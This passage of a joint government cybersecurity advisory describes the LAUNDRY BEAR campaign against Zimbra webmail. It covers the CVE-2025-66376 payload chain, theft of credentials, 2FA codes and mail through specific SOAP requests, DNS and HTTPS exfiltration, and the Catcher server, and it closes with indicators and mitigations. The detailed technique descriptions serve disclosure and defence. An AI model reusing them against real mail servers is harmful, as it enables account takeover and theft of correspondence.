The actors procure VPSs from a variety of providers [T1583.003], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [T1583] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for Ulej’s Flowerbed framework [T1608], which then receives and aggregates the data Ulej exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.

Flowerbed framework

Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:

  • Catcher,
  • Certbot,
  • Nginx, and
  • Gardener.

Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [T1048]. For additional information on Catcher, refer to the Exfiltration section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [T1048.002]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.

The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [T1588.007]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [T1588.002], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.

Initial access

To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [T1566]. Through exploitation of CVE-2025-66376, this JavaScript payload is immediately executed once the user views the malicious email [T1203], such as the one shown in Figure 1, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [T1199], as shown in the email metadata in Figure 2. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.

Figure 1: Example of malicious email
Figure 1: Example of malicious email

Figure 2: Headers from an example malicious email
Figure 2: Headers from an example malicious email

According to the National Vulnerability Database (NVD), CVE-2025-66376 was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [5]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [T1587.004].  

Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.

Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [T1027.017], as shown in Figure 3. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage CVE-2025-66376. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see Figure 3) [T1027.013]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [T1027.010], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [T1119]. The stages in order of appearance within the payload are as follows:

  1. sendStartPing,
  2. gather_email,
  3. gather_environment,
  4. gather_2fa_codes,
  5. gather_app_password,
  6. gather_device_status,
  7. gather_oauth_consumers,
  8. gather_autocomplete_password,
  9. enable_mail_protocols,
  10. gather_gal,
  11. sendArchives, and
  12. sendFinishPing. 

Figure 3: Malicious payload of example email
Figure 3: Malicious payload of example email

Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [T1587].

Persistence and credential access

To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the Exfiltration section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [T1550.004], and the Zimbra campaign follows a similar trend.

The script used in this campaign tries to discover the victim’s email address during the gather_email stage [T1087]. The script searches for this email address in two ways. First, it examines the batchInfoResponse variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the Collection section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [T1185] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of null over HTTPS and does not attempt DNS exfiltration.

During the gather_autocomplete_password stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in Figure 4 and Figure 5. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in Figure 4. If there is no value in that input field, it checks the password input field shown in Figure 5. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of null is sent over HTTPS and DNS exfiltration is not attempted.

Figure 4: First illegitimate login HTML element
Figure 4: First illegitimate login HTML element

Figure 5: Second illegitimate login HTML element
Figure 5: Second illegitimate login HTML element

LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the enable_mail_protocols stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.

ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the gather_app_password stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [T1556.006]. The SOAP request uses “ZimbraWeb” as the name of the application.

Additionally, the script also attempts to collect 2FA tokens. During the gather_2fa_codes stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.

Collection

As demonstrated in the Persistence and credential access section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the Persistence and credential access section, other SOAP commands executed to collect victim information are shown in Table 1.

Table 1: Additional SOAP commands used

SOAP Command 

Namespace 

Stage 

GetInfoRequest 

zimbraAccount 

gather_environment 

GetDeviceStatusRequest 

zimbraSync 

gather_device_status 

GetOAuthConsumersRequest 

zimbraAccount 

gather_oauth_consumers 

SearchGalRequest 

zimbraAccount 

gather_gal 

The script attempts to collect the victim’s GAL through brute force by searching for each two-character combination from a character set of “abcdefghijklmnopqrstuvwxyz1234567890.-_”. These queries are conducted using 20 batches of SOAP requests with 77 “SearchGalRequest” SOAP commands in each batch except for the last request containing only 58.

During the gather_environment stage, the script attempts to determine which type of ZCS webmail client the victim is using. The script checks the user’s current URL to determine the client type being used, checking for certain indicators (shown in Table 2) to determine the client type. The corresponding value is then used as the payload when exfiltrating the client type.

Table 2: ZCS webmail client types

Indicator 

Client Type 

Associated Value 

?client=advanced 

Advanced 

c 

/h/ 

Standard 

h 

/modern/ 

Modern 

m 

As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
2 Forsvarets Efterretningstjeneste
3 VĂ€lisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction générale de la sécurité intérieure
7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 SƂuĆŒba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt CybersÀkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

